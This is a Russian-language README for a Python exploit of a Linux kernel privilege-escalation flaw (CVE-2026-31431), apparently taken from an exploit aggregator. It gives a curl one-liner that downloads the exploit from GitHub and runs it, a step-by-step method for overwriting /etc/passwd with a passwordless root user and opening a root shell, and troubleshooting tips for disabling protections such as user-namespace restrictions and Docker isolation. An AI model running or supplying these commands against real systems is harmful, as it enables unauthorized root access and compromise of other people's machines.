## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GUIIMORAES-CVE-2026-31431

# CopyFail2 (CVE-2026-31431) — реализация на Python
Python-порт эксплойта CopyFail2 для ядра Linux, использующий быстрый путь без COW `MSG_SPLICE_PAGES` в xfrm ESP-in-UDP для непривилегированного повышения привилегий в Linux.
Заменяет запись `nologin`/`false` в `/etc/passwd` на пользователя uid-0 без пароля и открывает root-оболочку через `su`.
## Уязвимость
Ошибка ядра находится в пути UDP splice, используемом инкапсуляцией xfrm ESP-in-UDP. Вызов `splice()` в UDP-сокет с `MSG_SPLICE_PAGES` приводит к отображению страниц в page cache получателя без запуска copy-on-write. Это позволяет записывать в любой файл, отображённый в page cache, даже если он открыт только для чтения.
* Оригинальная реализация на C: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
* Исправление в апстриме: netdev/net.git
## Требования
* Ядро Linux >= 6.5 (поддержка MSG_SPLICE_PAGES в UDP)
* `libcrypto.so` (OpenSSL)
* Python 3.8+
* `CAP_NET_ADMIN` или возможность создавать пользовательские пространства имён
## Какую версию использовать
В этом репозитории представлены два варианта. Оба дают одинаковый результат; выбирайте исходя из своих ограничений.
### Быстрый старт (оптимизированный)
root@kitploit:~
# Однострочник через pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# Сохранённый файл
python3 exploit.py
# Откат изменений
python3 exploit.py --clean
### Быстрый старт (эталонный/raw)
root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean
В Ubuntu с включённым `apparmor_restrict_unprivileged_userns` сначала сохраните файл и запускайте с диска; режим pipe пропускает обход AppArmor.
root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
## Как это работает
1. Перебором подбирается IV для AES-GCM, чей байт keystream при XOR превращает исходный байт `/etc/passwd` в нужное значение.
2. Устанавливается локальное состояние xfrm ESP-in-UDP на `127.0.0.1:4500`.
3. Создаётся подконтрольный атакующему файл-подложка, содержащий поддельный заголовок ESP и ICV.
4. Три диапазона (заголовок ESP, целевой байт из `/etc/passwd`, ICV) передаются через `splice()` в pipe.
5. Pipe передаётся через `splice()` в UDP-сокет, что запускает ошибку ядра и записывает байт в page cache.
6. Процесс повторяется для каждого отличающегося байта, чтобы перезаписать строку `nologin`/`false` на `sick::0:0:...:/:/bin/bash`.
7. `su - sick` открывает root (PAM `nullok` принимает пустой пароль).
## Протестировано
## Устранение неполадок
**`cannot acquire CAP_NET_ADMIN`**
Возможно, в вашем ядре установлено `kernel.unprivileged_userns_clone=0`. Включите его:
root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1
Если запуск происходит внутри Docker, запустите контейнер с флагом `--privileged` или `--cap-add=SYS_ADMIN`.
## Авторы
* Hyunwoo Kim (imv4bel) и Kuan-Ting Chen — обнаружение и исправление в апстриме
* Steffen Klassert — мейнтейнер IPsec, опубликовал исправление
* Brad Spengler / grsecurity — ввёл термин «copyfail-class»
* Theori / Xint — оригинальный Copy Fail (CVE-2026-31431)
* Оригинальный эксплойт на C — 0xdeadbeefnetwork
* Эксплойт на Python — guiimoraes
## Отказ от ответственности
Этот инструмент предоставляется исключительно для авторизованных исследований в области безопасности и образовательных целей. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Авторы не несут ответственности за неправомерное использование или ущерб, причинённый данным программным обеспечением.